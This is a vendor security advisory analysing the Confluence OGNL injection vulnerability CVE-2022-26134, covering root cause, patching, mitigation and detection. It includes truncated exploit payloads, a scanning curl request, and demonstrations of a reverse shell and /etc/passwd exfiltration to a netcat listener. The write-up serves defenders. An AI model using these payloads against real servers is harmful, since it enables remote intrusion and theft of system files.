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Active Exploitation of Confluence CVE-2022- 26134

Jun 02, 2022 | 11 min read | [Rapid7](#)



Last updated at Thu, 25 Jul

2024 19:25:16 GMT

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are available.

CVE-2022-26134 is being actively and widely [exploited in the wild](#) [↗](#). Rapid7's [Managed Detection and Response \(MDR\)](#) team has observed an uptick of likely exploitation of CVE-2022-26134 in customer environments as of June 3.

All supported versions of Confluence Server and Data Center are affected.

Atlassian updated their advisory on June 3 to reflect that it's

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version of Confluence, you should restrict or disable Confluence Server and Confluence Data Center instances immediately.

Technical analysis

CVE-2022-26314 is an unauthenticated and remote OGNL injection vulnerability resulting in code execution in the context of the Confluence server (typically the

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maintaining an internet-facing Confluence or Data Server may want to consider permanently moving access behind a VPN.

The vulnerability

As stated, the vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. “BALH”). In its simplest form, an

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```
${@java.lang.Runtime@getRunt
```

Evidence of exploitation can typically be found in access logs because the exploit is stored in the HTTP request field. For example, on our test Confluence (version 7.13.6 LTS), the log file

```
/opt/atlassian/confluence/logs/conf_access_log.
```

```
<yyyy-mm-dd>.log
```

 contains

the following entry after

exploitation:

```
[02/Jun/2022:16:02:13 -0700]
```

Scanning for vulnerable servers

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Note the `X-Cmd-Response:`
`confluence` line in the HTTP
response:

```
curl -v http://10.0.0.28:8090
* Trying 10.0.0.28:8090...
* TCP_NODELAY set
* Connected to 10.0.0.28 (10.0.0.28) port 8090
> GET /%24%7B%28%23a%3D%40on
> Host: 10.0.0.28:8090
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting compression
< HTTP/1.1 302
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970
< X-Confluence-Request-Time:
< Set-Cookie: JSESSIONID=341
< X-XSS-Protection: 1; mode=
```

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the output of the `exec` call and uses `setHeader` to include the result in the server's response to the attacker.

```
`${(#a=@org.apache.commons.io
```

Root cause

Our investigation led to the following partial call stack. The call stack demonstrates the OGNL injection starting from `HttpServlet.service` to `OgnlValueStack.findValue` and beyond.

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```
at com.opensymphony.xwork.De  
at com.atlassian.confluence.  
at com.opensymphony.xwork.De  
at com.opensymphony.xwork.in  
at com.opensymphony.xwork.De  
at com.atlassian.xwork.inter  
at com.atlassian.xwork.inter  
at com.atlassian.xwork.inter  
at com.opensymphony.xwork.De  
at com.atlassian.confluence.  
at com.opensymphony.xwork.De  
at com.atlassian.confluence.  
at com.opensymphony.xwork.De  
at com.opensymphony.xwork.in  
at com.opensymphony.xwork.De  
at com.opensymphony.xwork.De  
at com.atlassian.confluence.  
at com.opensymphony.webwork.  
at javax.servlet.http.HttpSe
```

OgnlValueStack

`findValue(str)` is important as

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```
public class TextParseUtil {
    public static String tra
        StringBuilder sb = n
        Pattern p = Pattern.
        Matcher m = p.matche
        int previous = 0;
        while (m.find()) {
            String str1, g =
            int start = m.st
            try {
                Object o = s
                str1 = (o ==
            } catch (Excepti
                str1 = "";
            }
            sb.append(expres
            previous = m.end
        }
        if (previous < expres
            sb.append(expres
        return sb.toString()
    }
```

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```
OgnlValueStack stack = A  
String finalNamespace =  
String finalActionName =
```

Where `namespace` is created
from the request URI string in

```
com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespac
```

```
public static String getName  
    servletPath = servletPat  
    return servletPath;  
}
```

The result is that the attacker-
provided URI will be translated
into a namespace, which will
then find its way down to OGNL
expression evaluation. At a high
level, this is very similar to [CVE-](#)

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newly released `xwork-1.0.3-atlassian-10.jar`. The xwork

jars contain the

`ActionChainResult.class`

and `TextParseUtil.class`

we identified as the path to

OGNL expression evaluation.

The patch makes a number of small changes to fix this issue.

For one, `namespace` is no

longer passed down to

`TextParseUtil.translateVariables`

from

`ActionChainResult.execute`:

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```
String finalNamespace =  
String finalActionName =
```

Atlassian also added

```
SafeExpressionUtil.class
```

to the `xworks` jar.

```
SafeExpressionUtil.class
```

provides filtering of unsafe

expressions and has been

inserted into

```
OgnlValueStack.class
```

 in

order to examine expressions

when `findValue` is invoked.

For example:

```
public Object findValue(St  
try {
```

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webshells being dropped to disk. However, Confluence Server should typically execute as `confluence` and not `root`. The `confluence` user is fairly restricted and unable to introduce web shells (to our knowledge).

Java does otherwise provide a wide variety of features that aid in achieving and maintaining execution (both with and without touching disk). It's impossible to demonstrate all

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```
${new javax.script.ScriptEng
```

And results in a reverse shell:

```
albinolobster@ubuntu:~$ nc -  
Listening on 0.0.0.0 1270  
Connection received on 10.0.  
bash: cannot set terminal pr  
bash: no job control in this  
bash: /root/.bashrc: Permiss  
confluence@ubuntu:/opt/atlas  
id  
uid=1001(confluence) gid=100  
confluence@ubuntu:/opt/atlas
```

Of course, shelling out can be highly risky for attackers if the victim is running some type of threat detection software.

Executing in memory only is

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see that we again have relied on the Nashorn scripting engine.

```
${new javax.script.ScriptEng
```

Again, the attacker is listening for the exfiltration which looks, as you'd expect, like

```
/etc/passd :
```

```
albinolobster@ubuntu:~$ nc -  
Listening on 0.0.0.0 1270  
Connection received on 10.0.  
root:x:0:0:root:/root:/bin/b  
daemon:x:1:1:daemon:/usr/sbi  
bin:x:2:2:bin:/bin:/usr/sbin  
sys:x:3:3:sys:/dev:/usr/sbin  
sync:x:4:65534:sync:/bin:/bi  
games:x:5:60:games:/usr/game
```

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Mitigation guidance

Atlassian released patches for CVE-2022-26134 on June 3, 2022. A full list of fixed versions is available in the [advisory](#) [↗]. A temporary workaround for CVE-2022-26134 is also available—note that the workaround must be manually applied. Detailed instructions are [available in Atlassian's advisory](#) [↗] for applying the workaround to Confluence Server and Data

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Confluence Data Center instances immediately. We recommend that all organizations consider implementing IP address safelisting rules to restrict access to Confluence.

If you are unable to apply safelist IP rules to your Confluence server, consider adding WAF protection. Based on the details published so far, we recommend adding Java deserialization rules that defend

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Rapid7 customers

InsightVM and Nexpose:

Customers can assess their exposure to CVE-2022-26134 with two unauthenticated vulnerability checks as of June 3, 2022:

- A remote check (atlassian-confluence-cve-2022-26134-remote) available in the 3:30 PM EDT content-only release on June 3

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generated by the following rules
may be indicative of related
malicious activity:

- Confluence Java App
Launching Processes

The Rapid7 MDR (Managed
Detection & Response) SOC is
monitoring for this activity and
will escalate confirmed
malicious activity to managed
customers immediately.

tCell: Customers leveraging the
Java App Server Agent can

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This blog has been updated to reflect that all supported versions of Confluence Server and Confluence Data Center are affected, and it's likely that **all versions** (including LTS and unsupported) are affected, but Atlassian has not yet determined the earliest vulnerable version.

June 3, 2022 11:45 AM EDT:

Atlassian has released a temporary workaround for CVE-2022-26134. The workaround must be manually applied

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fixed versions is [available in their advisory](#) [↗](#). Rapid7 recommends applying patches OR the temporary workaround (manual) on an **emergency basis**.

June 3, 2022 3:15 PM EDT: A full technical analysis of CVE-2022-26134 has been added to this blog to aid security practitioners in understanding and prioritizing this vulnerability. A vulnerability check for InsightVM and Nexpose

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June 6, 2022 10 AM EDT: A

second content release went out the evening of Friday, June 3 containing a remote version check for CVE-2022-26134. This means InsightVM and Nexpose customers are able to assess their exposure to CVE-2022-26134 with two unauthenticated vulnerability checks.

Attacker activity targeting on-premise instances of Confluence Server and Confluence Data Center has

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